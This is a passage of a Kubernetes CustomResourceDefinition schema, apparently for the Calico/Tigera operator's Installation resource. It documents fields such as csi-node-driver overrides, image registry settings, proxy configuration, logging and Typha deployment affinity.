                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of csi-node-driver containers.
                                    If specified, this overrides the specified csi-node-driver DaemonSet containers.
                                    If omitted, the csi-node-driver DaemonSet will use its default values for its containers.
                                  items:
                                    description: CSINodeDriverDaemonSetContainer is
                                      a csi-node-driver DaemonSet container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the csi-node-driver DaemonSet container by name.
                                          Supported values are: calico-csi, csi-node-driver-registrar.
                                        enum:
                                        - calico-csi
                                        - csi-node-driver-registrar
                                        - csi-node-driver
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named csi-node-driver DaemonSet container's resources.
                                          If omitted, the csi-node-driver DaemonSet will use its default value for this container's resources.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    NodeSelector is the csi-node-driver pod's scheduling constraints.
                                    If specified, each of the key/value pairs are added to the csi-node-driver DaemonSet nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If omitted, the csi-node-driver DaemonSet will use its default value for nodeSelector.
                                    WARNING: Please note that this field will modify the default csi-node-driver DaemonSet nodeSelector.
                                  type: object
                                tolerations:
                                  description: |-
                                    Tolerations is the csi-node-driver pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the csi-node-driver DaemonSet.
                                    If omitted, the csi-node-driver DaemonSet will use its default value for tolerations.
                                    WARNING: Please note that this field will override the default csi-node-driver DaemonSet tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                fipsMode:
                  description: |-
                    FIPSMode uses images and features only that are using FIPS 140-2 validated cryptographic modules and standards.
                    Only supported for Variant=Calico.
                    Default: Disabled
                  enum:
                  - Enabled
                  - Disabled
                  type: string
                flexVolumePath:
                  description: |-
                    FlexVolumePath optionally specifies a custom path for FlexVolume. If not specified, FlexVolume will be
                    enabled by default. If set to 'None', FlexVolume will be disabled. The default is based on the
                    kubernetesProvider.
                  type: string
                imagePath:
                  description: |-
                    ImagePath allows for the path part of an image to be specified. If specified
                    then the specified value will be used as the image path for each image. If not specified
                    or empty, the default for each image will be used.
                    A special case value, UseDefault, is supported to explicitly specify the default
                    image path will be used for each image.
                    Image format:
                       `<registry><imagePath>/<imagePrefix><imageName>:<image-tag>`
                    This option allows configuring the `<imagePath>` portion of the above format.
                  type: string
                imagePrefix:
                  description: |-
                    ImagePrefix allows for the prefix part of an image to be specified. If specified
                    then the given value will be used as a prefix on each image. If not specified
                    or empty, no prefix will be used.
                    A special case value, UseDefault, is supported to explicitly specify the default
                    image prefix will be used for each image.
                    Image format:
                       `<registry><imagePath>/<imagePrefix><imageName>:<image-tag>`
                    This option allows configuring the `<imagePrefix>` portion of the above format.
                  type: string
                imagePullSecrets:
                  description: |-
                    ImagePullSecrets is an array of references to container registry pull secrets to use. These are
                    applied to all images to be pulled.
                  items:
                    description: |-
                      LocalObjectReference contains enough information to let you locate the
                      referenced object inside the same namespace.
                    properties:
                      name:
                        default: ""
                        description: |-
                          Name of the referent.
                          This field is effectively required, but due to backwards compatibility is
                          allowed to be empty. Instances of this type with an empty value here are
                          almost certainly wrong.
                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                        type: string
                    type: object
                    x-kubernetes-map-type: atomic
                  type: array
                kubeletVolumePluginPath:
                  description: |-
                    KubeletVolumePluginPath optionally specifies enablement of Calico CSI plugin. If not specified,
                    CSI will be enabled by default. If set to 'None', CSI will be disabled.
                    Default: /var/lib/kubelet
                  type: string
                kubernetesProvider:
                  description: |-
                    KubernetesProvider specifies a particular provider of the Kubernetes platform and enables provider-specific configuration.
                    If the specified value is empty, the Operator will attempt to automatically determine the current provider.
                    If the specified value is not empty, the Operator will still attempt auto-detection, but
                    will additionally compare the auto-detected value to the specified value to confirm they match.
                  enum:
                  - ""
                  - EKS
                  - GKE
                  - AKS
                  - OpenShift
                  - DockerEnterprise
                  - RKE2
                  - TKG
                  type: string
                logging:
                  description: Logging Configuration for Components
                  properties:
                    cni:
                      description: Customized logging specification for calico-cni
                        plugin
                      properties:
                        logFileMaxAgeDays:
                          description: 'Default: 30 (days)'
                          format: int32
                          type: integer
                        logFileMaxCount:
                          description: 'Default: 10'
                          format: int32
                          type: integer
                        logFileMaxSize:
                          anyOf:
                          - type: integer
                          - type: string
                          description: 'Default: 100Mi'
                          pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                          x-kubernetes-int-or-string: true
                        logSeverity:
                          description: 'Default: Info'
                          enum:
                          - Error
                          - Warning
                          - Info
                          - Debug
                          type: string
                      type: object
                  type: object
                nodeMetricsPort:
                  description: |-
                    NodeMetricsPort specifies which port calico/node serves prometheus metrics on. By default, metrics are not enabled.
                    If specified, this overrides any FelixConfiguration resources which may exist. If omitted, then
                    prometheus metrics may still be configured through FelixConfiguration.
                  format: int32
                  type: integer
                nodeUpdateStrategy:
                  description: |-
                    NodeUpdateStrategy can be used to customize the desired update strategy, such as the MaxUnavailable
                    field.
                  properties:
                    rollingUpdate:
                      description: Rolling update config params. Present only if type
                        = "RollingUpdate".
                      properties:
                        maxSurge:
                          anyOf:
                          - type: integer
                          - type: string
                          description: |-
                            The maximum number of nodes with an existing available DaemonSet pod that
                            can have an updated DaemonSet pod during during an update.
                            Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                            This can not be 0 if MaxUnavailable is 0.
                            Absolute number is calculated from percentage by rounding up to a minimum of 1.
                            Default value is 0.
                            Example: when this is set to 30%, at most 30% of the total number of nodes
                            that should be running the daemon pod (i.e. status.desiredNumberScheduled)
                            can have their a new pod created before the old pod is marked as deleted.
                            The update starts by launching new pods on 30% of nodes. Once an updated
                            pod is available (Ready for at least minReadySeconds) the old DaemonSet pod
                            on that node is marked deleted. If the old pod becomes unavailable for any
                            reason (Ready transitions to false, is evicted, or is drained) an updated
                            pod is immediatedly created on that node without considering surge limits.
                            Allowing surge implies the possibility that the resources consumed by the
                            daemonset on any given node can double if the readiness check fails, and
                            so resource intensive daemonsets should take into account that they may
                            cause evictions during disruption.
                          x-kubernetes-int-or-string: true
                        maxUnavailable:
                          anyOf:
                          - type: integer
                          - type: string
                          description: |-
                            The maximum number of DaemonSet pods that can be unavailable during the
                            update. Value can be an absolute number (ex: 5) or a percentage of total
                            number of DaemonSet pods at the start of the update (ex: 10%). Absolute
                            number is calculated from percentage by rounding up.
                            This cannot be 0 if MaxSurge is 0
                            Default value is 1.
                            Example: when this is set to 30%, at most 30% of the total number of nodes
                            that should be running the daemon pod (i.e. status.desiredNumberScheduled)
                            can have their pods stopped for an update at any given time. The update
                            starts by stopping at most 30% of those DaemonSet pods and then brings
                            up new DaemonSet pods in their place. Once the new pods are available,
                            it then proceeds onto other DaemonSet pods, thus ensuring that at least
                            70% of original number of DaemonSet pods are available at all times during
                            the update.
                          x-kubernetes-int-or-string: true
                      type: object
                    type:
                      description: Type of daemon set update. Can be "RollingUpdate"
                        or "OnDelete". Default is RollingUpdate.
                      type: string
                  type: object
                nonPrivileged:
                  description: NonPrivileged configures Calico to be run in non-privileged
                    containers as non-root users where possible.
                  type: string
                proxy:
                  description: |-
                    Proxy is used to configure the HTTP(S) proxy settings that will be applied to Tigera containers that connect
                    to destinations outside the cluster. It is expected that NO_PROXY is configured such that destinations within
                    the cluster (including the API server) are exempt from proxying.
                  properties:
                    httpProxy:
                      description: |-
                        HTTPProxy defines the value of the HTTP_PROXY environment variable that will be set on Tigera containers that connect to
                        destinations outside the cluster.
                      type: string
                    httpsProxy:
                      description: |-
                        HTTPSProxy defines the value of the HTTPS_PROXY environment variable that will be set on Tigera containers that connect to
                        destinations outside the cluster.
                      type: string
                    noProxy:
                      description: |-
                        NoProxy defines the value of the NO_PROXY environment variable that will be set on Tigera containers that connect to
                        destinations outside the cluster. This value must be set such that destinations within the scope of the cluster, including
                        the Kubernetes API server, are exempt from being proxied.
                      type: string
                  type: object
                registry:
                  description: |-
                    Registry is the default Docker registry used for component Docker images.
                    If specified then the given value must end with a slash character (`/`) and all images will be pulled from this registry.
                    If not specified then the default registries will be used. A special case value, UseDefault, is
                    supported to explicitly specify the default registries will be used.
                    Image format:
                       `<registry><imagePath>/<imagePrefix><imageName>:<image-tag>`
                    This option allows configuring the `<registry>` portion of the above format.
                  type: string
                serviceCIDRs:
                  description: Kubernetes Service CIDRs. Specifying this is required
                    when using Calico for Windows.
                  items:
                    type: string
                  type: array
                typhaAffinity:
                  description: |-
                    Deprecated. Please use Installation.Spec.TyphaDeployment instead.
                    TyphaAffinity allows configuration of node affinity characteristics for Typha pods.
                  properties:
                    nodeAffinity:
                      description: NodeAffinity describes node affinity scheduling
                        rules for typha.
                      properties:
                        preferredDuringSchedulingIgnoredDuringExecution:
                          description: |-
                            The scheduler will prefer to schedule pods to nodes that satisfy
                            the affinity expressions specified by this field, but it may choose
                            a node that violates one or more of the expressions.
                          items:
                            description: |-
                              An empty preferred scheduling term matches all objects with implicit weight 0
                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                            properties:
                              preference:
                                description: A node selector term, associated with
                                  the corresponding weight.
                                properties:
                                  matchExpressions:
                                    description: A list of node selector requirements
                                      by node's labels.
                                    items:
                                      description: |-
                                        A node selector requirement is a selector that contains values, a key, and an operator
                                        that relates the key and values.
                                      properties:
                                        key:
                                          description: The label key that the selector
                                            applies to.
                                          type: string
                                        operator:
                                          description: |-
                                            Represents a key's relationship to a set of values.
                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                          type: string
                                        values:
                                          description: |-
                                            An array of string values. If the operator is In or NotIn,
                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                            the values array must be empty. If the operator is Gt or Lt, the values
                                            array must have a single element, which will be interpreted as an integer.
                                            This array is replaced during a strategic merge patch.
                                          items:
                                            type: string
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      required:
                                      - key
                                      - operator
                                      type: object
                                    type: array
                                    x-kubernetes-list-type: atomic
                                  matchFields:
                                    description: A list of node selector requirements
                                      by node's fields.
                                    items:
                                      description: |-
                                        A node selector requirement is a selector that contains values, a key, and an operator
                                        that relates the key and values.
                                      properties:
                                        key:
                                          description: The label key that the selector
                                            applies to.
                                          type: string
                                        operator:
                                          description: |-
                                            Represents a key's relationship to a set of values.
                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                          type: string
                                        values:
                                          description: |-
                                            An array of string values. If the operator is In or NotIn,
                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                            the values array must be empty. If the operator is Gt or Lt, the values
                                            array must have a single element, which will be interpreted as an integer.
                                            This array is replaced during a strategic merge patch.
                                          items:
                                            type: string
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      required:
                                      - key
                                      - operator
                                      type: object
                                    type: array
                                    x-kubernetes-list-type: atomic
                                type: object
                                x-kubernetes-map-type: atomic
                              weight:
                                description: Weight associated with matching the corresponding
                                  nodeSelectorTerm, in the range 1-100.
                                format: int32
                                type: integer
                            required:
                            - preference
                            - weight
                            type: object
                          type: array
                        requiredDuringSchedulingIgnoredDuringExecution:
                          description: |-
                            WARNING: Please note that if the affinity requirements specified by this field are not met at
                            scheduling time, the pod will NOT be scheduled onto the node.
                            There is no fallback to another affinity rules with this setting.
                            This may cause networking disruption or even catastrophic failure!
                            PreferredDuringSchedulingIgnoredDuringExecution should be used for affinity
                            unless there is a specific well understood reason to use RequiredDuringSchedulingIgnoredDuringExecution and
                            you can guarantee that the RequiredDuringSchedulingIgnoredDuringExecution will always have sufficient nodes to satisfy the requirement.
                            NOTE: RequiredDuringSchedulingIgnoredDuringExecution is set by default for AKS nodes,
                            to avoid scheduling Typhas on virtual-nodes.
                            If the affinity requirements specified by this field cease to be met
                            at some point during pod execution (e.g. due to an update), the system
                            may or may not try to eventually evict the pod from its node.
                          properties:
                            nodeSelectorTerms:
                              description: Required. A list of node selector terms.
                                The terms are ORed.
                              items:
                                description: |-
                                  A null or empty node selector term matches no objects. The requirements of
                                  them are ANDed.
                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                properties:
                                  matchExpressions:
                                    description: A list of node selector requirements
                                      by node's labels.
                                    items:
                                      description: |-
                                        A node selector requirement is a selector that contains values, a key, and an operator
                                        that relates the key and values.
                                      properties:
                                        key:
                                          description: The label key that the selector
                                            applies to.
                                          type: string
                                        operator:
                                          description: |-
                                            Represents a key's relationship to a set of values.
                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                          type: string
                                        values:
                                          description: |-
                                            An array of string values. If the operator is In or NotIn,
                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                            the values array must be empty. If the operator is Gt or Lt, the values
                                            array must have a single element, which will be interpreted as an integer.
                                            This array is replaced during a strategic merge patch.
                                          items:
                                            type: string
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      required:
                                      - key
                                      - operator
                                      type: object
                                    type: array
                                    x-kubernetes-list-type: atomic
                                  matchFields:
                                    description: A list of node selector requirements
                                      by node's fields.
                                    items:
                                      description: |-
                                        A node selector requirement is a selector that contains values, a key, and an operator
                                        that relates the key and values.
                                      properties:
                                        key:
                                          description: The label key that the selector
                                            applies to.
                                          type: string
                                        operator:
                                          description: |-
                                            Represents a key's relationship to a set of values.
                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                          type: string
                                        values:
                                          description: |-
                                            An array of string values. If the operator is In or NotIn,
                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                            the values array must be empty. If the operator is Gt or Lt, the values
                                            array must have a single element, which will be interpreted as an integer.
                                            This array is replaced during a strategic merge patch.
                                          items:
                                            type: string
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      required:
                                      - key
                                      - operator
                                      type: object
                                    type: array
                                    x-kubernetes-list-type: atomic
                                type: object
                                x-kubernetes-map-type: atomic
                              type: array
                              x-kubernetes-list-type: atomic
                          required:
                          - nodeSelectorTerms
                          type: object
                          x-kubernetes-map-type: atomic
                      type: object
                  type: object
                typhaDeployment:
                  description: |-
                    TyphaDeployment configures the typha Deployment. If used in conjunction with the deprecated
                    ComponentResources or TyphaAffinity, then these overrides take precedence.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the Deployment.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the typha Deployment.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created Deployment pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the typha Deployment.
                            If omitted, the typha Deployment will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        strategy:
                          description: The deployment strategy to use to replace existing
                            pods with new ones.
                          properties:
                            rollingUpdate:
                              description: |-
                                Rolling update config params. Present only if DeploymentStrategyType =
                                RollingUpdate.
                                to be.
                              properties:
                                maxSurge:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: |-
                                    The maximum number of pods that can be scheduled above the desired number of
                                    pods.
                                    Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                    This can not be 0 if MaxUnavailable is 0.
                                    Absolute number is calculated from percentage by rounding up.
                                    Defaults to 25%.
                                    Example: when this is set to 30%, the new ReplicaSet can be scaled up immediately when
                                    the rolling update starts, such that the total number of old and new pods do not exceed
                                    130% of desired pods. Once old pods have been killed,
                                    new ReplicaSet can be scaled up further, ensuring that total number of pods running
                                    at any time during the update is at most 130% of desired pods.
                                  x-kubernetes-int-or-string: true
                                maxUnavailable:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: |-
                                    The maximum number of pods that can be unavailable during the update.
                                    Value can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).
                                    Absolute number is calculated from percentage by rounding down.
                                    This can not be 0 if MaxSurge is 0.
                                    Defaults to 25%.
                                    Example: when this is set to 30%, the old ReplicaSet can be scaled down to 70% of desired pods
                                    immediately when the rolling update starts. Once new pods are ready, old ReplicaSet
                                    can be scaled down further, followed by scaling up the new ReplicaSet, ensuring
                                    that the total number of pods available at all times during the update is at
                                    least 70% of desired pods.
                                  x-kubernetes-int-or-string: true
                              type: object
                          type: object
                        template:
                          description: Template describes the typha Deployment pod
                            that will be created.
                          properties:
                            metadata:
                              description: |-
                                Metadata is a subset of a Kubernetes object's metadata that is added to
                                the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the typha Deployment's PodSpec.
                              properties:
                                affinity:
                                  description: |-
                                    Affinity is a group of affinity scheduling rules for the typha pods.
                                    If specified, this overrides any affinity that may be set on the typha Deployment.
                                    If omitted, the typha Deployment will use its default value for affinity.
                                    If used in conjunction with the deprecated TyphaAffinity, then this value takes precedence.
                                    WARNING: Please note that this field will override the default calico-typha Deployment affinity.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
